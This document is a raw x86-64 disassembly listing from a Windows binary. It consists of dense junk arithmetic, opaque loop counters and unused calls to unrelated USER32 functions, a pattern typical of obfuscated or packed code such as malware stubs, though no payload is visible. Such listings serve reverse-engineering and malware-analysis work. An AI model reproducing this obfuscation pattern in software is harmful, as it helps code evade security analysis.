cmp dword [rsp + 0x17ac], 0
je 0x140058a11
cmp dword [rsp + 0x17ac], 0x81a
je 0x14010a7ae
jmp 0x14010a7e0
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2c68]
mov qword [rsp + 0x2e20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e20]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
and eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
mov eax, dword [rsp + 0x173c]
sub eax, 0x7c
mov dword [rsp + 0x173c], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14015ae50], ax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x66c], ax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1714]
mov ecx, dword [rsp + 0x1770]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1798], eax
mov eax, dword [rsp + 0x1788]
mov ecx, dword [rsp + 0x172c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
xor eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
or eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x66c]
shl eax, cl
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
movzx eax, word [rsp + 0x664]
movzx ecx, word [0x14015ae50]
and eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1798]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2d60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, word [0x14015ae50]
movzx ecx, word [rsp + 0x664]
add eax, ecx
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x66c]
movsx ecx, word [rsp + 0x660]
sub eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2c40]
shl rax, cl
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1788]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
and eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, word [rsp + 0x664]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
cmp dword [rsp + 0x173c], 0xeef7
jae 0x140058a11
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
add eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2bf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x668], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x668]
sar eax, cl
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1740]
add eax, 0x8f
mov dword [rsp + 0x1740], eax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
and eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov dword [rsp + 0x1770], eax
cmp dword [rsp + 0x1740], 0x542b
jb 0x140058e12
movsx eax, word [rsp + 0x660]
mov dword [rsp + 0x17b0], eax
cmp dword [rsp + 0x17b0], 0
je 0x14005901f
jmp 0x140059056
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x2e30], rax
mov rax, qword [rsp + 0x2cc0]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0x65c]
mov word [rsp + 0x670], ax
jmp 0x1400590e6
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x668], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x66c]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0x2e38]
mov edx, 0x93
mov rcx, qword [rsp + 0x2da8]
call qword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [rsp + 0x1714], eax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
call qword [sym.imp.USER32.dll_GetClipboardViewer]
mov qword [rsp + 0x2d30], rax
mov dword [rsp + 0x17b4], 0x6107
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x172c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1770]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sar eax, cl
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2e10]
movsx eax, word [rax]
movsx ecx, word [0x14015a00c]
add eax, ecx
mov word [0x14015a008], ax
movzx eax, word [rsp + 0x670]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x16ec]
add eax, 0xef
mov dword [rsp + 0x16ec], eax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1770], eax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
cmp dword [rsp + 0x16ec], 0xa5c5
jne 0x1400590f1
movsx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov dword [rsp + 0x17b8], 0xa01
cmp dword [rsp + 0x178c], 0x9328
jbe 0x1400595c1
movsx eax, word [rsp + 0x66c]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x660], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2d50]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14015ae50], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
xor eax, ecx
mov byte [rsp + 0x8a], al
mov eax, dword [rsp + 0x1788]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x172c], eax
mov rax, qword [rsp + 0x2d18]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x178c]
sub eax, 0x7e
mov dword [rsp + 0x178c], eax
mov rax, qword [rsp + 0x2bf0]
movzx ecx, al
mov rax, qword [rsp + 0x2d60]
shl rax, cl
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2dc0]
mov rcx, qword [rsp + 0x2db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov byte [rsp + 0xcd], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x172c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1788], eax
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2e30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2d80]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x65c]
sar eax, cl
mov word [0x14015ae50], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
jmp 0x1400592eb
mov rax, qword [rsp + 0x2d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
cmp dword [rsp + 0x16c8], 0xf196
ja 0x140059afa
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d60], rax
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [rsp + 0x664]
sub eax, ecx
mov rcx, qword [rsp + 0x2d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
add eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e48]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1714]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1770], eax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1788]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
and eax, ecx
mov word [rsp + 0x664], ax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x66c]
sub eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x2db0]
mov ecx, dword [rsp + 0x1728]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x16c8]
add eax, 0x46
mov dword [rsp + 0x16c8], eax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x172c]
mov ecx, dword [rsp + 0x1788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
movsx eax, word [rsp + 0x668]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov rcx, qword [rsp + 0x2d68]
mov word [rcx], ax
movzx eax, word [rsp + 0x670]
movzx ecx, word [rsp + 0x664]
shl eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
movsx eax, word [rsp + 0x660]
mov rcx, qword [rsp + 0x2e10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2d78]
mov word [rcx], ax
mov eax, dword [rsp + 0x1788]
mov ecx, dword [rsp + 0x172c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d88]
mov rcx, qword [rsp + 0x2d18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1728]
mov ecx, dword [rsp + 0x1798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x2d70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2cf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
movzx ecx, byte [rsp + 0xce]
and eax, ecx
mov rcx, qword [rsp + 0x2d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x66c]
sub eax, ecx
mov rcx, qword [rsp + 0x2e10]
mov word [rcx], ax
movsx eax, word [0x14015a008]
movsx ecx, word [rsp + 0x660]
add eax, ecx
mov word [0x14015a00c], ax
mov rax, qword [rsp + 0x2db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c68]
mov qword [rsp + 0x2e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x2d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d60]
mov rcx, qword [rsp + 0x2e30]
mov qword [rsp + 0x2e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e60]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2bf0], rax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x664], ax
jmp 0x1400595e5
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2e68], rax
movzx eax, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x8a]
and eax, ecx
mov rcx, qword [rsp + 0x2cf8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x2d48]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x140059bc8
mov rax, qword [rsp + 0x2d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2e68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x670]
sub eax, ecx
mov word [0x14015ae50], ax
mov dword [rsp + 0x20], 0xdd
lea r9, [rsp + 0x11480]
lea r8, [rsp + 0x2d10]
mov edx, 0xda
mov rcx, qword [rsp + 0x2de0]
call qword [sym.imp.USER32.dll_GetAltTabInfoA]
mov dword [rsp + 0x17bc], eax
mov dword [rsp + 0x17c0], 0x8350
mov rax, qword [rsp + 0x2d20]
mov ecx, dword [rsp + 0x1788]
mov eax, dword [rax]
add eax, ecx
cmp eax, dword [rsp + 0x172c]
jae 0x140059d05
mov rax, qword [rsp + 0x2dc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1728]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2d48]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x8a]
movzx edx, byte [rsp + 0xce]
add ecx, edx
cmp eax, ecx
jge 0x140059cf0
movsx eax, word [rsp + 0x660]
mov dword [rsp + 0x17c4], eax
cmp dword [rsp + 0x17c4], 0x3c52
je 0x140059c62
jmp 0x140059ccc
mov eax, dword [rsp + 0x172c]
mov rcx, qword [rsp + 0x2d20]
mov qword [rsp + 0x2e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2e70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1788], eax
movzx eax, word [rsp + 0x65c]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x2e68]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xcd]
mov rdx, qword [rsp + 0x2c40]
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rax]
call fcn.14010cd90
nop
jmp 0x140059cf0
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
mov dword [rsp + 0x17c8], eax
mov rax, qword [rsp + 0x2cd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2bf0]
shl rax, cl
mov qword [rsp + 0x2c48], rax
cmp dword [rsp + 0x17b4], 0x60b0
jb 0x140059fa5
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2cc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2d80]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x670], ax
movsx eax, word [rsp + 0x660]
movsx ecx, word [rsp + 0x668]
and eax, ecx
mov word [rsp + 0x66c], ax
mov rax, qword [rsp + 0x2d70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xce]
sub eax, ecx
mov rcx, qword [rsp + 0x2d70]
mov byte [rcx], al
mov rax, qword [rsp + 0x2d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov rcx, qword [rsp + 0x2e68]
mov byte [rcx], al
mov eax, dword [rsp + 0x17b4]
sub eax, 3
mov dword [rsp + 0x17b4], eax
mov rax, qword [rsp + 0x2dc0]
mov ecx, dword [rsp + 0x1770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2d88]
mov qword [rcx], rax
